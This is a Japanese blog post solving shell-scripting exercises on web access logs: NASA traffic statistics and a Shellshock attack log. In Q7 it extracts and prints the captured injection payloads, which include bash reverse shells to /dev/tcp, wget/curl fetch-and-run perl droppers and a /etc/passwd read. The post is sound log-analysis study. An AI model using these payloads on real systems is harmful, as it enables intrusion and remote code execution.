■「第16回春だからログ解析するぞシェル芸勉強会」を解いてみた。 【問題と解答例】第16回春だからログ解析するぞシェル芸勉強会 http://blog.ueda.asia/?p=5644 ■準備0 ログをとってきましょう。 ■ここでログとは事前に用意されたアクセスログのことです。 自身の端末のログを取っても仕方がないので、普通に。 $ wget http://blog.ueda.asia/misc/access_log.nasa.gz; \ wget http://blog.ueda.asia/wp-content/uploads/2015/04/access.log_.shellshock.gz $ du -k *.gz 4 access.log_.shellshock.gz 36476 access_log.nasa.gz ■準備1 access.log.shellshock.gzとaccess_log.nasa.gzについて、 日付と時刻を次のように正規化しておきましょう。 ■月名の変換だけ気にすれば良い。 $ zcat access_log.nasa.gz | awk '{print $4}' | \ awk -F/ '{print $2}' | sort -u Aug Jul $ zcat access.log_.shellshock.gz | awk '{print $4}' | \ awk -F/ '{print $2}' | sort -u Dec Nov Oct Sep $ zcat access_log.nasa.gz | \ awk '{print $4,$0}' | \ sed -e 's%^\[\(..\)/\(...\)/\(....\):\(..\):\(..\):\(..\)%\3\2\1 \4\5\6%' \ -e 's/Jul/07/' \ -e 's/Aug/08/' > nasa.access.log $ zcat access.log_.shellshock.gz | \ awk '{print $4,$0}' | \ sed -e 's%^\[\(..\)/\(...\)/\(....\):\(..\):\(..\):\(..\)%\3\2\1 \4\5\6%' \ -e 's/Oct/10/' \ -e 's/Nov/11/' \ -e 's/Dec/12/' > shellshock.access.log ■準備2 NASAのログを各日付のファイルに分けておきましょう。 ログはQ1で作ったものを使います。 1,2行目の8桁日付、6桁時刻は残っていても構いません。 ■日付ごとに分けるだけ。 $ awk '{print $0 > "nasa."$1}' nasa.access.log $ ls nasa.[0-9]* | column nasa.19950701 nasa.19950713 nasa.19950725 nasa.19950810 nasa.19950822 nasa.19950702 nasa.19950714 nasa.19950726 nasa.19950811 nasa.19950823 nasa.19950703 nasa.19950715 nasa.19950727 nasa.19950812 nasa.19950824 nasa.19950704 nasa.19950716 nasa.19950728 nasa.19950813 nasa.19950825 nasa.19950705 nasa.19950717 nasa.19950801 nasa.19950814 nasa.19950826 nasa.19950706 nasa.19950718 nasa.19950803 nasa.19950815 nasa.19950827 nasa.19950707 nasa.19950719 nasa.19950804 nasa.19950816 nasa.19950828 nasa.19950708 nasa.19950720 nasa.19950805 nasa.19950817 nasa.19950829 nasa.19950709 nasa.19950721 nasa.19950806 nasa.19950818 nasa.19950830 nasa.19950710 nasa.19950722 nasa.19950807 nasa.19950819 nasa.19950831 nasa.19950711 nasa.19950723 nasa.19950808 nasa.19950820 nasa.19950712 nasa.19950724 nasa.19950809 nasa.19950821 ■Q1 NASAのログについて、ステータスコードを抽出して、 どのコードがいくつあるか数えてみましょう。 ■よくあるステータスコードの集計 $ awk '{print $(NF-1)}' nasa.access.log | sort | uniq -c 3100522 200 73070 302 266773 304 15 400 225 403 20901 404 65 500 41 501 $ awk '{print $(NF-1)}' nasa.access.log | awk '{a[$1]+=1};END{for (n in a){print n,a[n]}}' | sort -nr -k2 200 3100522 304 266773 302 73070 404 20901 403 225 500 65 501 41 400 15 ■Q2 NASAのログについて、ファイルを開かずに、ログの多い日を探しだしてみましょう。 ■ログの多い日 「サイズを見たら」というのはログサイズの大きい日な気がします。 リクエストクエリーのサイズによっては若干変わる可能性がありますので、 行の方がベターかと。 $ wc -l nasa.[0-9]* | sort -k 1 -nr | head -4 3461612 合計 134203 nasa.19950713 100960 nasa.19950706 94575 nasa.19950705 $ du -k nasa.[0-9]* | sort -k 1 -nr | head -3 16172 nasa.19950713 12292 nasa.19950706 11504 nasa.19950705 ■Q3 NASAのログについて、(Q3-1)ログの件数が一番多い曜日はどれでしょうか。 (Q3-2)ログの件数が一番多い時間帯 (時間帯というのは0時台、1時台、・・・、23時台のこと)はどれでしょうか。 Q3-2については高速な方法を考えてみてください。 ■Q3-1 $ awk '{print $1}' nasa.access.log | \ date -f - "+%A" | sort | uniq -c | sort -k1 -nr 667737 木曜日 574547 水曜日 556590 火曜日 529960 月曜日 497456 金曜日 318046 土曜日 317276 日曜日 ■Q3-2 $ awk '{print substr($2,1,2)}' nasa.access.log | \ sort | uniq -c | sort -k1 -nr 230665 15 227228 12 225350 13 223873 14 217564 16 211064 11 193816 10 178664 09 178443 17 149193 08 146091 18 131432 22 131091 19 129907 21 129753 20 123932 23 110312 00 101403 07 91597 01 77805 02 67393 03 66540 06 59506 05 58990 04 ■sortをしないと時短出来るの発想は同じです。 後substrでは無いバージョンです。。。 $ awk '{print $2}' nasa.access.log | cut -c -2 | uniq -c | \ awk '{a[$2]+=$1};END{for (n in a){print n,a[n]}}' 00 110312 01 91597 02 77805 10 193816 03 67393 11 211064 04 58990 12 227228 05 59506 20 129753 13 225350 06 66540 21 129907 14 223873 07 101403 22 131432 15 230665 08 149193 23 123932 16 217564 09 178664 17 178443 18 146091 19 131091 ■Q4 ShellShockログ内にあるIPアドレス(IPv4)がすべて192.168.から始まることを確認して下さい。 IPアドレスはレコードの先頭だけでなく、インジェクションするコードの中にもあるのでご注意ねがいます。 $ zcat access.log_.shellshock.gz | \ sed -e 's/\([0-9]*.[0-9]*\).[0-9]*.[0-9]*/\n\1\n/' | grep ^192.168\$ | uniq -c 109 192.168 ■Q5 ShellShockログについて、レスポンスのデータ送信量が大きいものを、 IPアドレスと共に上から10件を挙げてみましょう。 $ zcat access.log_.shellshock.gz | \ sed -e 's%^\([0-9]*.[0-9]*.[0-9]*.[0-9]*\).*HTTP/1.1\" [0-9]* \([0-9]*\) .*"%\1 \2%' | \ sort -k2 -nr | head -10 192.168.64.196 234 192.168.246.56 234 192.168.246.56 234 192.168.193.42 234 192.168.193.42 234 192.168.193.42 234 192.168.193.42 234 192.168.193.42 233 192.168.193.42 233 192.168.193.42 230 ■各IPごとの総データ量は以下。 $ zcat access.log_.shellshock.gz | \ sed -e 's%^\([0-9]*.[0-9]*.[0-9]*.[0-9]*\).*HTTP/1.1\" [0-9]* \([0-9]*\) .*"%\1 \2%' | \ awk '{a[$1]+=$2};END{for (n in a){print n,a[n]}}' | sort -k2 -nr 192.168.193.42 13924 192.168.58.180 2468 192.168.218.214 1346 192.168.246.56 468 192.168.64.196 234 192.168.225.64 227 192.168.87.145 208 192.168.177.253 208 192.168.126.87 208 192.168.113.11 208 192.168.98.218 0 192.168.3.135 0 192.168.238.52 0 192.168.192.217 0 192.168.151.207 0 192.168.119.115 0 192.168.0.90 0 ■Q6 NASAのログについて、7月8月のうち、ゼロ件の日を列挙してみてください。 $ for n in `seq -w 0701 0731` `seq -w 0801 0831`;do \ ls nasa.1995$n 2>/dev/null | grep $n >/dev/null 2>&1 || echo "1995$n"; \ done 19950729 19950730 19950731 19950802 ■Q7 ShellShockのログから、(Q7-1)インジェクションが試みられたコード(「() { :;};」から後ろ)を抽出してみて傾向を話あってみましょう。 (Q7-2)出来る人はエスケープも掃除してコードを復元してみましょう。 (Q7-3)更にできる人は最後の行のコードを実行してみてください。 このログはIPアドレスを変換しているので安全ですが、普通のログでやると死にますのでご注意を。 ■Q7-1 $ zcat access.log_.shellshock.gz | grep ":.*;};" | sed -e 's%^.*:;};\|^.*()\|{ ignored;};%%g' | sort | uniq -c | sed 's/ -O/\n\t&/' 1 /bin/bash -c \"cd /tmp;wget 192.168.8.189/use;curl -O 192.168.8.189/use ; perl /tmp/use;rm -rf /tmp/use\"" 1 /bin/bash -c \"cd /tmp;wget http://192.168.30.34/lex ; curl -O http://192.168.30.34/lex ; perl lex ;rm -rf lex\"" 1 /bin/bash -c \"echo testing9123123\"; /bin/uname -a" 1 /bin/bash -c \"wget http://192.168.105.197/bash-count.txt\"" 16 /bin/bash -i >& /dev/tcp/192.168.0.18/8888 0>&1" 1 /bin/bash -i >& /dev/tcp/192.168.10.1/8888 0>&1" 1 /usr/bin/wget http://192.168.63.155/res.html -O /dev/null; /usr/bin/curl http://192.168.63.155/res.html" 6 echo Content-Type: text/plain ; echo \"TEST: TEST\"" 1 echo Content-type:text/plain;echo;/bin/cat /etc/passwd" 1 echo Content-type:text/plain;echo;echo vulnerable" 1 /usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget -q http://192.168.63.71/android.txt -O /tmp/android.txt;perl /tmp/android.txt;rm -rf /tmp/android*\");'" 62 /usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://192.168.144.163/guide/lx.pl -O /tmp/lx.pl;curl -O /tmp/lx.pl http://192.168.144.163/guide/lx.pl;perl /tmp/lx.pl;rm -rf /tmp/lx.pl*\");'" ■Q7-2 $ zcat access.log_.shellshock.gz | grep ":.*;};" | sed -e 's%^.*:;};\|^.*()\|{ ignored;};%%g' | sort | uniq -c | \ cut -c 9- | tr -d '\\' | sed -e 's/rnrn/\n\t\t/g' -e 's/ -O/\n\t&/' | sed s/[\'\"]\"/\'/g /bin/bash -c "cd /tmp;wget 192.168.8.189/use;curl -O 192.168.8.189/use ; perl /tmp/use;rm -rf /tmp/use' /bin/bash -c "cd /tmp;wget http://192.168.30.34/lex ; curl -O http://192.168.30.34/lex ; perl lex ;rm -rf lex' /bin/bash -c "echo testing9123123"; /bin/uname -a" /bin/bash -c "wget http://192.168.105.197/bash-count.txt' /bin/bash -i >& /dev/tcp/192.168.0.18/8888 0>&1" /bin/bash -i >& /dev/tcp/192.168.10.1/8888 0>&1" /usr/bin/wget http://192.168.63.155/res.html -O /dev/null; /usr/bin/curl http://192.168.63.155/res.html" echo Content-Type: text/plain ; echo "TEST: TEST' echo Content-type:text/plain;echo;/bin/cat /etc/passwd" echo Content-type:text/plain;echo;echo vulnerable" /usr/bin/perl -e 'print "Content-Type: text/plain XSUCCESS!";system("wget -q http://192.168.63.71/android.txt -O /tmp/android.txt;perl /tmp/android.txt;rm -rf /tmp/android*");' /usr/bin/perl -e 'print "Content-Type: text/plain XSUCCESS!";system("wget http://192.168.144.163/guide/lx.pl -O /tmp/lx.pl;curl -O /tmp/lx.pl http://192.168.144.163/guide/lx.pl;perl /tmp/lx.pl;rm -rf /tmp/lx.pl*");'
■Q7-3はやりません。 $ zcat access.log_.shellshock.gz | grep ":.*;};" | tail -1 | \ sed -e 's%^.*:;};\|^.*()\|{ ignored;};%%g' | sort | uniq -c | \ cut -c 9- | tr -d '\\' | sed -e 's/rnrn/\n\t\t/g' -e 's/ -O/\n\t&/' | sed s/[\'\"]\"/\'/g /usr/bin/perl -e 'print "Content-Type: text/plain XSUCCESS!";system("wget -q http://192.168.63.71/android.txt -O /tmp/android.txt;perl /tmp/android.txt;rm -rf /tmp/android*");'